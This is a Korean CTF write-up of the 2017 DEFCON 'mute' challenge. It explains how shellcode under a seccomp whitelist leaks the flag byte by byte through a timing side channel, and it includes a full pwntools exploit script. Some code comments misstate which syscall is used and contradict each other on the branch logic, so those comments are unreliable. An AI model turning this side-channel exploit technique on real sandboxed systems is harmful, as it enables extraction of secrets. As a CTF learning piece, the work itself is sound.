본문 바로가기

CTF

2017 DEFCON mute 풀이

참고자료 


https://raw.githubusercontent.com/Owlz/CTF/master/2017/DEFCON/mute/win.py




실제 CTF에서 문제를 오래 붙잡고 있었지만 풀지 못해서 라이트업을 보고 다시 적는다.


내가 입력 한 페이로드로 바로 뛰기 때문에 쉘코드를 만들어 주기만 하면된다


하지만, seccomp라는 샌드박스를 통해서 특정 syscall을 제외한 나머지를 필터링 하기 때문에 일반적인 쉘코드를 사용하지 못한다.


seccomp에는 blacklist 방식과 whitelist 방식이 있는데, blacklist 방식의 경우에는 64bit 쉘코드가 아닌 32bit 쉘코드를 사용하는 것으로 우회가 가능하다.(64bit와 32bit의 system call 번호가 다르기 때문에 가능) 반면, whitelist 방식의 경우에는 사용가능한 syscall 내에서 쉘코드를 구현해야한다.


이 문제의 경우 whitelist 방식의 seccomp가 구현되어 있고, 허용된 syscall은 read, open, execve 등등 몇가지가 있다.


execve로 쉘을 따라 쉘코드를 쓰면 되지 않을까? 하는 느낌이 들지만 execve로 다른 프로그램을 실행하면 허용되지 않은 syscall을 실행하다가 죽게 된다. (예를 들면 write)


따라서 open, read 두 개로 쉘코드를 작성 해야 하는데, write가 벤(?) 되어 있기 때문에 flag를 읽을 수는 있지만 출력을 시킬 수가 없다.


그래서 서버의 응답에 따라 참인지 거짓인지를 판별해서 웹 해킹의 time-based blind sql injection과 비슷한 방법으로 쉘코드를 구현해야 한다.


참인 경우 : 허용되지 않은 syscall을 호출해서 프로그램이 종료되게 만든다.


거짓인 경우 : open syscall로 stdin을 열어서 프로그램 종료를 지연 시킨다.


참인 경우는 소캣이 바로 닫히게 되지만, 거짓인 경우에는 소캣이 바로 닫히지 않고 0.5초 이상(로컬인 경우)의 시간이 흐른 뒤에 소캣이 닫히게 된다 위와 같은 방법으로 메모리에 올라와 있는 플레그 값을 확인 할 수 있다.



[exploit code]


from pwn import *


#smashme_omgbabysfirst.quals.shallweplayaga.me 57348

#conn = remote('mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me', 443)  


elf = ELF("./mute")

context.binary = elf


def connect():

global p

p = process(elf.file.name)

p.recvline()


def tryChar(c,index):

# connect to the service

connect()


# read in file

payload =asm(shellcraft.amd64.linux.open('./flag')) # 플래그를 읽어서

payload += asm(shellcraft.amd64.linux.read(3,'rsp',100)) # rsp 레지스터에 저장

payload += asm("xor eax, eax") # open syscall을 사용하기 위해 eax를 0으로 만들고

payload += asm("mov edi, 0") # open syscall의 인자로 stdin을 잡아 줌

payload += asm("mov r8, 60") # r8은 참인 경우 허용 되지 않은 syscall인 exit을 사용하기 위해 60을 넣어 줌


payload += asm("mov rbx, [rsp + {0}*8]".format(index/8)) # rsp에 있는 flag를 8바이트씩 잘라서

payload += asm("shr rbx, {0}".format(8*(index%8))) # 잘라진 8바이트의 마지막 한 바이트를 가져옴 ( 한 바이트씩 뒤로 밀면서 반복 )

payload += asm("cmp bl, {0}".format(ord(c))) # 한 바이트가 특정 아스키 코드와 같으면


payload += asm("cmovne rax, r8")  # exit syscall 호출 ( 허용되지 않은 syscall, 바로 죽음 )

payload += asm("syscall") # 한 바이트가 특정 아스키 코드와 다르면, open syscall 호출 ( 허용된 syscall, 바로 죽지 않음 )


payload += "\x00" * (0x1000 - len(payload)) # padding


p.send(payload)


try:

p.recvline(timeout=0.5)

except:

p.close()

return False # 0.5초 이상 connection이 유지되면, false 반환


p.close()

return True  # 바로 죽으면 true 반환

flag = ""

while True:

for c in string.printable:

if tryChar(c, len(flag)):

print("Found char: " + c)

flag += c

break

else: # printable한 케이스가 없으면, 즉, flag의 마지막인 경우 break

break


print("Flag : " + flag)